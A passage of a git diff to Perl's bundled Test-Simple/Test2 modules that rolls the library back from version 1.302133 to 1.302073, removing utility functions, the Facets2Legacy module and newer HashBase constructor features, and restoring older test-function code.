-350,7 +374,7 @@ sub waiting { require Test2::Event::Waiting; $self->send( GLOBAL => Test2::Event::Waiting->new( - trace => Test2::EventFacet::Trace->new(frame => [caller()]), + trace => Test2::Util::Trace->new(frame => [caller()]), ), 'GLOBAL' ); @@ -368,14 +392,6 @@ sub DESTROY { my $tempdir = $self->{+TEMPDIR}; - my $aborted = 0; - my $abort_file = File::Spec->catfile($self->{+TEMPDIR}, "ABORT"); - if (-e $abort_file) { - $aborted = 1; - my ($ok, $err) = do_unlink($abort_file); - warn $err unless $ok; - } - opendir(my $dh, $tempdir) or $self->abort("Could not open temp dir! ($tempdir)"); while(my $file = readdir($dh)) { next if $file =~ m/^\.+$/; @@ -383,7 +399,7 @@ sub DESTROY { my $full = File::Spec->catfile($tempdir, $file); my $sep = ipc_separator; - if ($aborted || $file =~ m/^(GLOBAL|HUB$sep)/) { + if ($file =~ m/^(GLOBAL|HUB$sep)/) { $full =~ m/^(.*)$/; $full = $1; # Untaint it next if $ENV{T2_KEEP_TEMPDIR}; @@ -401,8 +417,6 @@ sub DESTROY { return; } - my $abort = File::Spec->catfile($self->{+TEMPDIR}, "ABORT"); - unlink($abort) if -e $abort; rmdir($tempdir) or warn "Could not remove IPC temp dir ($tempdir)"; } @@ -473,7 +487,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Tools/Tiny.pm b/cpan/Test-Simple/lib/Test2/Tools/Tiny.pm index 93c3df03e8f1..857a923c6a25 100644 --- a/cpan/Test-Simple/lib/Test2/Tools/Tiny.pm +++ b/cpan/Test-Simple/lib/Test2/Tools/Tiny.pm @@ -2,12 +2,6 @@ package Test2::Tools::Tiny; use strict; use warnings; -BEGIN { - if ($] lt "5.008") { - require Test::Builder::IO::Scalar; - } -} - use Scalar::Util qw/blessed/; use Test2::Util qw/try/; @@ -16,7 +10,7 @@ use Test2::API qw/context run_subtest test2_stack/; use Test2::Hub::Interceptor(); use Test2::Hub::Interceptor::Terminator(); -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; BEGIN { require Exporter; our @ISA = qw(Exporter) } our @EXPORT = qw{ @@ -27,9 +21,9 @@ our @EXPORT = qw{ sub ok($;$@) { my ($bool, $name, @diag) = @_; my $ctx = context(); - - return $ctx->pass_and_release($name) if $bool; - return $ctx->fail_and_release($name, @diag); + $ctx->ok($bool, $name, \@diag); + $ctx->release; + return $bool ? 1 : 0; } sub is($$;$@) { @@ -47,16 +41,18 @@ sub is($$;$@) { $bool = 1; } - return $ctx->pass_and_release($name) if $bool; - - $got = '*NOT DEFINED*' unless defined $got; - $want = '*NOT DEFINED*' unless defined $want; - unshift @diag => ( - "GOT: $got", - "EXPECTED: $want", - ); + unless ($bool) { + $got = '*NOT DEFINED*' unless defined $got; + $want = '*NOT DEFINED*' unless defined $want; + unshift @diag => ( + "GOT: $got", + "EXPECTED: $want", + ); + } - return $ctx->fail_and_release($name, @diag); + $ctx->ok($bool, $name, \@diag); + $ctx->release; + return $bool; } sub isnt($$;$@) { @@ -74,12 +70,12 @@ sub isnt($$;$@) { $bool = 0; } - return $ctx->pass_and_release($name) if $bool; - unshift @diag => "Strings are the same (they should not be)" unless $bool; - return $ctx->fail_and_release($name, @diag); + $ctx->ok($bool, $name, \@diag); + $ctx->release; + return $bool; } sub like($$;$@) { @@ -99,8 +95,9 @@ sub like($$;$@) { unshift @diag => "Got an undefined value."; } - return $ctx->pass_and_release($name) if $bool; - return $ctx->fail_and_release($name, @diag); + $ctx->ok($bool, $name, \@diag); + $ctx->release; + return $bool; } sub unlike($$;$@) { @@ -121,8 +118,9 @@ sub unlike($$;$@) { unshift @diag => "Got an undefined value."; } - return $ctx->pass_and_release($name) if $bool; - return $ctx->fail_and_release($name, @diag); + $ctx->ok($bool, $name, \@diag); + $ctx->release; + return $bool; } sub is_deeply($$;$@) { @@ -131,10 +129,6 @@ sub is_deeply($$;$@) { no warnings 'once'; require Data::Dumper; - - # Otherwise numbers might be unquoted - local $Data::Dumper::Useperl = 1; - local $Data::Dumper::Sortkeys = 1; local $Data::Dumper::Deparse = 1; local $Data::Dumper::Freezer = 'XXX'; @@ -153,8 +147,11 @@ sub is_deeply($$;$@) { my $bool = $g eq $w; - return $ctx->pass_and_release($name) if $bool; - return $ctx->fail_and_release($name, $g, $w, @diag); + my $diff; + + $ctx->ok($bool, $name, [$diff ? $diff : ($g, $w), @diag]); + $ctx->release; + return $bool; } sub diag { @@ -186,13 +183,16 @@ sub todo { my $filter = $hub->pre_filter( sub { my ($active_hub, $event) = @_; - if ($active_hub == $hub) { - $event->set_todo($reason) if $event->can('set_todo'); - $event->add_amnesty({tag => 'TODO', details => $reason}); - } - else { - $event->add_amnesty({tag => 'TODO', details => $reason, inherited => 1}); + + # Turn a diag into a note + return Test2::Event::Note->new(%$event) if ref($event) eq 'Test2::Event::Diag'; + + # Set todo on ok's + if ($hub == $active_hub && $event->isa('Test2::Event::Ok')) { + $event->set_todo($reason); + $event->set_effective_pass(1); } + return $event; }, inherit => 1, @@ -237,9 +237,7 @@ sub tests { my ($name, $code) = @_; my $ctx = context(); - my $be = caller->can('before_each'); - - $be->($name) if $be; + before_each() if __PACKAGE__->can('before_each'); my $bool = run_subtest($name, $code, 1); @@ -259,16 +257,8 @@ sub capture(&) { my ($out_fh, $err_fh); ($ok, $e) = try { - # Scalar refs as filehandles were added in 5.8. - if ($] ge "5.008") { open($out_fh, '>', \$out) or die "Failed to open a temporary STDOUT: $!"; open($err_fh, '>', \$err) or die "Failed to open a temporary STDERR: $!"; - } - # Emulate scalar ref filehandles with a tie. - else { - $out_fh = Test::Builder::IO::Scalar->new(\$out) or die "Failed to open a temporary STDOUT"; - $err_fh = Test::Builder::IO::Scalar->new(\$err) or die "Failed to open a temporary STDERR"; - } test2_stack->top->format->set_handles([$out_fh, $err_fh, $out_fh]); @@ -425,7 +415,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Transition.pod b/cpan/Test-Simple/lib/Test2/Transition.pod index 12c46ee569f9..95f9d77e9b1c 100644 --- a/cpan/Test-Simple/lib/Test2/Transition.pod +++ b/cpan/Test-Simple/lib/Test2/Transition.pod @@ -256,14 +256,6 @@ internals. Fixed in version: 0.15 -=item Test::More::Prefix - -Worked by applying a role that wrapped C<< Test::Builder->_print_comment >>. -Fixed by adding an event filter that modifies the message instead when running -under Test2. - -Fixed in version: 0.007 - =back =head2 STILL BROKEN @@ -306,6 +298,14 @@ something new (Test2) to completely rewrite it in a sane way. Still broken as of version: 0.32 +=item Test::More::Prefix + +The current version, 0.005 is broken. A patch has been applied in git, and +released in 0.006, but a version issue with 0.006 prevents its installation. + +Still broken as of version: 0.005 +Potentially fixed in version: 0.006 (not installable) + =item Net::BitTorrent The tests for this module directly access L hash keys. Most, if @@ -502,7 +502,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Util.pm b/cpan/Test-Simple/lib/Test2/Util.pm index 6de008b683d6..53379d41ddeb 100644 --- a/cpan/Test-Simple/lib/Test2/Util.pm +++ b/cpan/Test-Simple/lib/Test2/Util.pm @@ -2,16 +2,10 @@ package Test2::Util; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; -use POSIX(); -use Config qw/%Config/; -use Carp qw/croak/; -BEGIN { - local ($@, $!, $SIG{__DIE__}); - *HAVE_PERLIO = eval { require PerlIO; PerlIO->VERSION(1.02); } ? sub() { 1 } : sub() { 0 }; -} +use Config qw/%Config/; our @EXPORT_OK = qw{ try @@ -23,17 +17,9 @@ our @EXPORT_OK = qw{ CAN_REALLY_FORK CAN_FORK - CAN_SIGSYS - IS_WIN32 ipc_separator - - do_rename do_unlink - - try_sig_mask - - clone_io }; BEGIN { require Exporter; our @ISA = qw(Exporter) } @@ -157,117 +143,6 @@ sub pkg_to_file { sub ipc_separator() { "~" } -sub _check_for_sig_sys { - my $sig_list = shift; - return $sig_list =~ m/\bSYS\b/; -} - -BEGIN { - if (_check_for_sig_sys($Config{sig_name})) { - *CAN_SIGSYS = sub() { 1 }; - } - else { - *CAN_SIGSYS = sub() { 0 }; - } -} - -my %PERLIO_SKIP = ( - unix => 1, - via => 1, -); - -sub clone_io { - my ($fh) = @_; - my $fileno = fileno($fh); - - return $fh if !defined($fileno) || !length($fileno) || $fileno < 0; - - open(my $out, '>&' . $fileno) or die "Can't dup fileno $fileno: $!"; - - my %seen; - my @layers = HAVE_PERLIO ? grep { !$PERLIO_SKIP{$_} and !$seen{$_}++ } PerlIO::get_layers($fh) : (); - binmode($out, join(":", "", "raw", @layers)); - - my $old = select $fh; - my $af = $|; - select $out; - $| = $af; - select $old; - - return $out; -} - -BEGIN { - if (IS_WIN32) { - my $max_tries = 5; - - *do_rename = sub { - my ($from, $to) = @_; - - my $err; - for (1 .. $max_tries) { - return (1) if rename($from, $to); - $err = "$!"; - last if $_ == $max_tries; - sleep 1; - } - - return (0, $err); - }; - *do_unlink = sub { - my ($file) = @_; - - my $err; - for (1 .. $max_tries) { - return (1) if unlink($file); - $err = "$!"; - last if $_ == $max_tries; - sleep 1; - } - - return (0, "$!"); - }; - } - else { - *do_rename = sub { - my ($from, $to) = @_; - return (1) if rename($from, $to); - return (0, "$!"); - }; - *do_unlink = sub { - my ($file) = @_; - return (1) if unlink($file); - return (0, "$!"); - }; - } -} - -sub try_sig_mask(&) { - my $code = shift; - - my ($old, $blocked); - unless(IS_WIN32) { - my $to_block = POSIX::SigSet->new( - POSIX::SIGINT(), - POSIX::SIGALRM(), - POSIX::SIGHUP(), - POSIX::SIGTERM(), - POSIX::SIGUSR1(), - POSIX::SIGUSR2(), - ); - $old = POSIX::SigSet->new; - $blocked = POSIX::sigprocmask(POSIX::SIG_BLOCK(), $to_block, $old); - # Silently go on if we failed to log signals, not much we can do. - } - - my ($ok, $err) = &try($code); - - # If our block was successful we want to restore the old mask. - POSIX::sigprocmask(POSIX::SIG_SETMASK(), $old, POSIX::SigSet->new()) if defined $blocked; - - return ($ok, $err); -} - 1; __END__ @@ -329,42 +204,6 @@ otherwise it returns 0. Convert a package name to a filename. -=item ($ok, $err) = do_rename($old_name, $new_name) - -Rename a file, this wraps C in a way that makes it more reliable -cross-platform when trying to rename files you recently altered. - -=item ($ok, $err) = do_unlink($filename) - -Unlink a file, this wraps C in a way that makes it more reliable -cross-platform when trying to unlink files you recently altered. - -=item ($ok, $err) = try_sig_mask { ... } - -Complete an action with several signals masked, they will be unmasked at the -end allowing any signals that were intercepted to get handled. - -This is primarily used when you need to make several actions atomic (against -some signals anyway). - -Signals that are intercepted: - -=over 4 - -=item SIGINT - -=item SIGALRM - -=item SIGHUP - -=item SIGTERM - -=item SIGUSR1 - -=item SIGUSR2 - -=back - =back =head1 NOTES && CAVEATS @@ -409,7 +248,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm b/cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm index f03422c61afa..f9c611e0f259 100644 --- a/cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm +++ b/cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm @@ -2,7 +2,7 @@ package Test2::Util::ExternalMeta; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; use Carp qw/croak/; @@ -172,7 +172,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Util/Facets2Legacy.pm b/cpan/Test-Simple/lib/Test2/Util/Facets2Legacy.pm deleted file mode 100644 index db74510a4d03..000000000000 --- a/cpan/Test-Simple/lib/Test2/Util/Facets2Legacy.pm +++ /dev/null @@ -1,299 +0,0 @@ -package Test2::Util::Facets2Legacy; -use strict; -use warnings; - -our $VERSION = '1.302133'; - -use Carp qw/croak confess/; -use Scalar::Util qw/blessed/; - -use base 'Exporter'; -our @EXPORT_OK = qw{ - causes_fail - diagnostics - global - increments_count - no_display - sets_plan - subtest_id - summary - terminate - uuid -}; -our %EXPORT_TAGS = ( ALL => \@EXPORT_OK ); - -our $CYCLE_DETECT = 0; -sub _get_facet_data { - my $in = shift; - - if (blessed($in) && $in->isa('Test2::Event')) { - confess "Cycle between Facets2Legacy and $in\->facet_data() (Did you forget to override the facet_data() method?)" - if $CYCLE_DETECT; - - local $CYCLE_DETECT = 1; - return $in->facet_data; - } - - return $in if ref($in) eq 'HASH'; - - croak "'$in' Does not appear to be either a Test::Event or an EventFacet hashref"; -} - -sub causes_fail { - my $facet_data = _get_facet_data(shift @_); - - return 1 if $facet_data->{errors} && grep { $_->{fail} } @{$facet_data->{errors}}; - - if (my $control = $facet_data->{control}) { - return 1 if $control->{halt}; - return 1 if $control->{terminate}; - } - - return 0 if $facet_data->{amnesty} && @{$facet_data->{amnesty}}; - return 1 if $facet_data->{assert} && !$facet_data->{assert}->{pass}; - return 0; -} - -sub diagnostics { - my $facet_data = _get_facet_data(shift @_); - return 1 if $facet_data->{errors} && @{$facet_data->{errors}}; - return 0 unless $facet_data->{info} && @{$facet_data->{info}}; - return (grep { $_->{debug} } @{$facet_data->{info}}) ? 1 : 0; -} - -sub global { - my $facet_data = _get_facet_data(shift @_); - return 0 unless $facet_data->{control}; - return $facet_data->{control}->{global}; -} - -sub increments_count { - my $facet_data = _get_facet_data(shift @_); - return $facet_data->{assert} ? 1 : 0; -} - -sub no_display { - my $facet_data = _get_facet_data(shift @_); - return 0 unless $facet_data->{about}; - return $facet_data->{about}->{no_display}; -} - -sub sets_plan { - my $facet_data = _get_facet_data(shift @_); - my $plan = $facet_data->{plan} or return; - my @out = ($plan->{count} || 0); - - if ($plan->{skip}) { - push @out => 'SKIP'; - push @out => $plan->{details} if defined $plan->{details}; - } - elsif ($plan->{none}) { - push @out => 'NO PLAN' - } - - return @out; -} - -sub subtest_id { - my $facet_data = _get_facet_data(shift @_); - return undef unless $facet_data->{parent}; - return $facet_data->{parent}->{hid}; -} - -sub summary { - my $facet_data = _get_facet_data(shift @_); - return '' unless $facet_data->{about} && $facet_data->{about}->{details}; - return $facet_data->{about}->{details}; -} - -sub terminate { - my $facet_data = _get_facet_data(shift @_); - return undef unless $facet_data->{control}; - return $facet_data->{control}->{terminate}; -} - -sub uuid { - my $in = shift; - - if ($CYCLE_DETECT) { - if (blessed($in) && $in->isa('Test2::Event')) { - my $meth = $in->can('uuid'); - $meth = $in->can('SUPER::uuid') if $meth == \&uuid; - my $uuid = $in->$meth if $meth && $meth != \&uuid; - return $uuid if $uuid; - } - - return undef; - } - - my $facet_data = _get_facet_data($in); - return $facet_data->{about}->{uuid} if $facet_data->{about} && $facet_data->{about}->{uuid}; - - return undef; -} - -1; - -=pod - -=encoding UTF-8 - -=head1 NAME - -Test2::Util::Facets2Legacy - Convert facet data to the legacy event API. - -=head1 DESCRIPTION - -This module exports several subroutines from the older event API (see -L). These subroutines can be used as methods on any object that -provides a custom C method. These subroutines can also be used as -functions that take a facet data hashref as arguments. - -=head1 SYNOPSIS - -=head2 AS METHODS - - package My::Event; - - use Test2::Util::Facets2Legacy ':ALL'; - - sub facet_data { return { ... } } - -Then to use it: - - my $e = My::Event->new(...); - - my $causes_fail = $e->causes_fail; - my $summary = $e->summary; - .... - -=head2 AS FUNCTIONS - - use Test2::Util::Facets2Legacy ':ALL'; - - my $f = { - assert => { ... }, - info => [{...}, ...], - control => {...}, - ... - }; - - my $causes_fail = causes_fail($f); - my $summary = summary($f); - -=head1 NOTE ON CYCLES - -When used as methods, all these subroutines call C<< $e->facet_data() >>. The -default C method in L relies on the legacy methods -this module emulates in order to work. As a result of this it is very easy to -create infinite recursion bugs. - -These methods have cycle detection and will throw an exception early if a cycle -is detected. C is currently the only subroutine in this library that -has a fallback behavior when cycles are detected. - -=head1 EXPORTS - -Nothing is exported by default. You must specify which methods to import, or -use the ':ALL' tag. - -=over 4 - -=item $bool = $e->causes_fail() - -=item $bool = causes_fail($f) - -Check if the event or facets result in a failing state. - -=item $bool = $e->diagnostics() - -=item $bool = diagnostics($f) - -Check if the event or facets contain any diagnostics information. - -=item $bool = $e->global() - -=item $bool = global($f) - -Check if the event or facets need to be globally processed. - -=item $bool = $e->increments_count() - -=item $bool = increments_count($f) - -Check if the event or facets make an assertion. - -=item $bool = $e->no_display() - -=item $bool = no_display($f) - -Check if the event or facets should be rendered or hidden. - -=item ($max, $directive, $reason) = $e->sets_plan() - -=item ($max, $directive, $reason) = sets_plan($f) - -Check if the event or facets set a plan, and return the plan details. - -=item $id = $e->subtest_id() - -=item $id = subtest_id($f) - -Get the subtest id, if any. - -=item $string = $e->summary() - -=item $string = summary($f) - -Get the summary of the event or facets hash, if any. - -=item $undef_or_int = $e->terminate() - -=item $undef_or_int = terminate($f) - -Check if the event or facets should result in process termination, if so the -exit code is returned (which could be 0). undef is returned if no termination -is requested. - -=item $uuid = $e->uuid() - -=item $uuid = uuid($f) - -Get the UUID of the facets or event. - -B This will fall back to C<< $e->SUPER::uuid() >> if a cycle is -detected and an event is used as the argument. - -=back - -=head1 SOURCE - -The source code repository for Test2 can be found at -F. - -=head1 MAINTAINERS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 AUTHORS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 COPYRIGHT - -Copyright 2018 Chad Granum Eexodist@cpan.orgE. - -This program is free software; you can redistribute it and/or -modify it under the same terms as Perl itself. - -See F - -=cut diff --git a/cpan/Test-Simple/lib/Test2/Util/HashBase.pm b/cpan/Test-Simple/lib/Test2/Util/HashBase.pm index 8e73af425e28..76041efe5eef 100644 --- a/cpan/Test-Simple/lib/Test2/Util/HashBase.pm +++ b/cpan/Test-Simple/lib/Test2/Util/HashBase.pm @@ -2,25 +2,18 @@ package Test2::Util::HashBase; use strict; use warnings; -our $VERSION = '1.302133'; - ################################################################# # # # This is a generated file! Do not modify this file directly! # # Use hashbase_inc.pl script to regenerate this file. # # The script is part of the Object::HashBase distribution. # -# Note: You can modify the version number above this comment # -# if needed, that is fine. # # # ################################################################# { no warnings 'once'; - $Test2::Util::HashBase::HB_VERSION = '0.006'; + $Test2::Util::HashBase::VERSION = '0.002'; *Test2::Util::HashBase::ATTR_SUBS = \%Object::HashBase::ATTR_SUBS; - *Test2::Util::HashBase::ATTR_LIST = \%Object::HashBase::ATTR_LIST; - *Test2::Util::HashBase::VERSION = \%Object::HashBase::VERSION; - *Test2::Util::HashBase::CAN_CACHE = \%Object::HashBase::CAN_CACHE; } @@ -53,15 +46,9 @@ sub import { my $class = shift; my $into = caller; - # Make sure we list the OLDEST version used to create this class. - my $ver = $Test2::Util::HashBase::HB_VERSION || $Test2::Util::HashBase::VERSION; - $Test2::Util::HashBase::VERSION{$into} = $ver if !$Test2::Util::HashBase::VERSION{$into} || $Test2::Util::HashBase::VERSION{$into} > $ver; - - my $isa = _isa($into); - my $attr_list = $Test2::Util::HashBase::ATTR_LIST{$into} ||= []; + my $isa = _isa($into); my $attr_subs = $Test2::Util::HashBase::ATTR_SUBS{$into} ||= {}; - - my %subs = ( + my %subs = ( ($into->can('new') ? () : (new => \&_new)), (map %{$Test2::Util::HashBase::ATTR_SUBS{$_} || {}}, @{$isa}[1 .. $#$isa]), ( @@ -69,13 +56,12 @@ sub import { my $p = substr($_, 0, 1); my $x = $_; substr($x, 0, 1) = '' if $STRIP{$p}; - push @$attr_list => $x; my ($sub, $attr) = (uc $x, $x); $sub => ($attr_subs->{$sub} = sub() { $attr }), - $attr => sub { $_[0]->{$attr} }, - $p eq '-' ? ("set_$attr" => sub { Carp::croak("'$attr' is read-only") }) - : $p eq '^' ? ("set_$attr" => sub { Carp::carp("set_$attr() is deprecated"); $_[0]->{$attr} = $_[1] }) - : ("set_$attr" => sub { $_[0]->{$attr} = $_[1] }), + $attr => sub { $_[0]->{$attr} }, + $p eq '-' ? ("set_$attr" => sub { Carp::croak("'$attr' is read-only") }) + : $p eq '^' ? ("set_$attr" => sub { Carp::carp("set_$attr() is deprecated"); $_[0]->{$attr} = $_[1] }) + : ("set_$attr" => sub { $_[0]->{$attr} = $_[1] }), } @_ ), ); @@ -84,65 +70,10 @@ sub import { *{"$into\::$_"} = $subs{$_} for keys %subs; } -sub attr_list { - my $class = shift; - - my $isa = _isa($class); - - my %seen; - my @list = grep { !$seen{$_}++ } map { - my @out; - - if (0.004 > ($Test2::Util::HashBase::VERSION{$_} || 0)) { - Carp::carp("$_ uses an inlined version of Test2::Util::HashBase too old to support attr_list()"); - } - else { - my $list = $Test2::Util::HashBase::ATTR_LIST{$_}; - @out = $list ? @$list : () - } - - @out; - } reverse @$isa; - - return @list; -} - sub _new { - my $class = shift; - - my $self; - - if (@_ == 1) { - my $arg = shift; - my $type = ref($arg); - - if ($type eq 'HASH') { - $self = bless({%$arg}, $class) - } - else { - Carp::croak("Not sure what to do with '$type' in $class constructor") - unless $type eq 'ARRAY'; - - my %proto; - my @attributes = attr_list($class); - while (@$arg) { - my $val = shift @$arg; - my $key = shift @attributes or Carp::croak("Too many arguments for $class constructor"); - $proto{$key} = $val; - } - - $self = bless(\%proto, $class); - } - } - else { - $self = bless({@_}, $class); - } - - $Test2::Util::HashBase::CAN_CACHE{$class} = $self->can('init') - unless exists $Test2::Util::HashBase::CAN_CACHE{$class}; - - $self->init if $Test2::Util::HashBase::CAN_CACHE{$class}; - + my ($class, %params) = @_; + my $self = bless \%params, $class; + $self->init if $self->can('init'); $self; } @@ -208,10 +139,7 @@ use it: use warnings; use My::Class; - # These are all functionally identical - my $one = My::Class->new(foo => 'MyFoo', bar => 'MyBar'); - my $two = My::Class->new({foo => 'MyFoo', bar => 'MyBar'}); - my $three = My::Class->new(['MyFoo', 'MyBar']); + my $one = My::Class->new(foo => 'MyFoo', bar => 'MyBar'); # Accessors! my $foo = $one->foo; # 'MyFoo' @@ -252,13 +180,9 @@ script. =over 4 -=item $it = $class->new(%PAIRS) - -=item $it = $class->new(\%PAIRS) +=item $it = $class->new(@VALUES) -=item $it = $class->new(\@ORDERED_VALUES) - -Create a new instance. +Create a new instance using key/value pairs. HashBase will not export C if there is already a C method in your packages inheritance chain. @@ -280,21 +204,6 @@ This makes it so that HashBase sees that you have your own C method. Alternatively you can define the method before loading HashBase instead of just declaring it, but that scatters your use statements. -The most common way to create an object is to pass in key/value pairs where -each key is an attribute and each value is what you want assigned to that -attribute. No checking is done to verify the attributes or values are valid, -you may do that in C if desired. - -If you would like, you can pass in a hashref instead of pairs. When you do so -the hashref will be copied, and the copy will be returned blessed as an object. -There is no way to ask HashBase to bless a specific hashref. - -In some cases an object may only have 1 or 2 attributes, in which case a -hashref may be too verbose for your liking. In these cases you can pass in an -arrayref with only values. The values will be assigned to attributes in the -order the attributes were listed. When there is inheritance involved the -attributes from parent classes will come before subclasses. - =back =head2 HOOKS @@ -306,18 +215,10 @@ attributes from parent classes will come before subclasses. This gives you the chance to set some default values to your fields. The only argument is C<$self> with its indexes already set from the constructor. -B Test2::Util::HashBase checks for an init using C<< $class->can('init') >> -during construction. It DOES NOT call C on the created object. Also note -that the result of the check is cached, it is only ever checked once, the first -time an instance of your class is created. This means that adding an C -method AFTER the first construction will result in it being ignored. - =back =head1 ACCESSORS -=head2 READ/WRITE - To generate accessors you list them when using the module: use Test2::Util::HashBase qw/foo/; @@ -345,32 +246,6 @@ and similar typos. It will not help you if you forget to prefix the '+' though. =back -=head2 READ ONLY - - use Test2::Util::HashBase qw/-foo/; - -=over 4 - -=item set_foo() - -Throws an exception telling you the attribute is read-only. This is exported to -override any active setters for the attribute in a parent class. - -=back - -=head2 DEPRECATED SETTER - - use Test2::Util::HashBase qw/^foo/; - -=over 4 - -=item set_foo() - -This will set the value, but it will also warn you that the method is -deprecated. - -=back - =head1 SUBCLASSING You can subclass an existing HashBase class. @@ -381,27 +256,6 @@ You can subclass an existing HashBase class. The base class is added to C<@ISA> for you, and all constants from base classes are added to subclasses automatically. -=head1 GETTING A LIST OF ATTRIBUTES FOR A CLASS - -Test2::Util::HashBase provides a function for retrieving a list of attributes for an -Test2::Util::HashBase class. - -=over 4 - -=item @list = Test2::Util::HashBase::attr_list($class) - -=item @list = $class->Test2::Util::HashBase::attr_list() - -Either form above will work. This will return a list of attributes defined on -the object. This list is returned in the attribute definition order, parent -class attributes are listed before subclass attributes. Duplicate attributes -will be removed before the list is returned. - -B This list is used in the C<< $class->new(\@ARRAY) >> constructor to -determine the attribute to which each value will be paired. - -=back - =head1 SOURCE The source code repository for HashBase can be found at @@ -425,7 +279,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Util/Trace.pm b/cpan/Test-Simple/lib/Test2/Util/Trace.pm index 1e5351f6db52..0f10bcb6ad3a 100644 --- a/cpan/Test-Simple/lib/Test2/Util/Trace.pm +++ b/cpan/Test-Simple/lib/Test2/Util/Trace.pm @@ -1,8 +1,66 @@ package Test2::Util::Trace; -require Test2::EventFacet::Trace; -@ISA = ('Test2::EventFacet::Trace'); +use strict; +use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; + + +use Test2::Util qw/get_tid pkg_to_file/; + +use Carp qw/confess/; + +use Test2::Util::HashBase qw{frame detail pid tid}; + +sub init { + confess "The 'frame' attribute is required" + unless $_[0]->{+FRAME}; + + $_[0]->{+PID} = $$ unless defined $_[0]->{+PID}; + $_[0]->{+TID} = get_tid() unless defined $_[0]->{+TID}; +} + +sub snapshot { bless {%{$_[0]}}, __PACKAGE__ }; + +sub debug { + my $self = shift; + return $self->{+DETAIL} if $self->{+DETAIL}; + my ($pkg, $file, $line) = $self->call; + return "at $file line $line"; +} + +sub alert { + my $self = shift; + my ($msg) = @_; + warn $msg . ' ' . $self->debug . ".\n"; +} + +sub throw { + my $self = shift; + my ($msg) = @_; + die $msg . ' ' . $self->debug . ".\n"; +} + +sub call { @{$_[0]->{+FRAME}} } + +sub package { $_[0]->{+FRAME}->[0] } +sub file { $_[0]->{+FRAME}->[1] } +sub line { $_[0]->{+FRAME}->[2] } +sub subname { $_[0]->{+FRAME}->[3] } + +sub from_json { + my $class = shift; + my %p = @_; + + my $trace_pkg = delete $p{__PACKAGE__}; + require(pkg_to_file($trace_pkg)); + + return $trace_pkg->new(%p); +} + +sub TO_JSON { + my $self = shift; + return {%$self, __PACKAGE__ => ref $self}; +} 1; @@ -14,12 +72,86 @@ __END__ =head1 NAME -Test2::Util::Trace - Legacy wrapper fro L. +Test2::Util::Trace - Debug information for events =head1 DESCRIPTION -All the functionality for this class has been moved to -L. +The L object, as well as all L types need to +have access to information about where they were created. This object +represents that information. + +=head1 SYNOPSIS + + use Test2::Util::Trace; + + my $trace = Test2::Util::Trace->new( + frame => [$package, $file, $line, $subname], + ); + +=head1 METHODS + +=over 4 + +=item $trace->set_detail($msg) + +=item $msg = $trace->detail + +Used to get/set a custom trace message that will be used INSTEAD of +C<< at line >> when calling C<< $trace->debug >>. + +=item $str = $trace->debug + +Typically returns the string C<< at line >>. If C is set +then its value will be returned instead. + +=item $trace->alert($MESSAGE) + +This issues a warning at the frame (filename and line number where +errors should be reported). + +=item $trace->throw($MESSAGE) + +This throws an exception at the frame (filename and line number where +errors should be reported). + +=item $frame = $trace->frame() + +Get the call frame arrayref. + +=item ($package, $file, $line, $subname) = $trace->call() + +Get the caller details for the debug-info. This is where errors should be +reported. + +=item $pkg = $trace->package + +Get the debug-info package. + +=item $file = $trace->file + +Get the debug-info filename. + +=item $line = $trace->line + +Get the debug-info line number. + +=item $subname = $trace->subname + +Get the debug-info subroutine name. + +=item $hashref = $t->TO_JSON + +This returns a hashref suitable for passing to the C<< +Test2::Util::Trace->from_json >> constructor. It is intended for use with the +L family of modules, which will look for a C method when +C is true. + +=item $t = Test2::Util::Trace->from_json(%$hashref) + +Given the hash of data returned by C<< $t->TO_JSON >>, this method returns a +new trace object of the appropriate subclass. + +=back =head1 SOURCE @@ -44,7 +176,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/ok.pm b/cpan/Test-Simple/lib/ok.pm index 19f0f0835c75..143885dd53ff 100644 --- a/cpan/Test-Simple/lib/ok.pm +++ b/cpan/Test-Simple/lib/ok.pm @@ -1,5 +1,5 @@ package ok; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; use strict; use Test::More (); diff --git a/cpan/Test-Simple/t/HashBase.t b/cpan/Test-Simple/t/HashBase.t index 397c69759ffd..7f1824ae164c 100644 --- a/cpan/Test-Simple/t/HashBase.t +++ 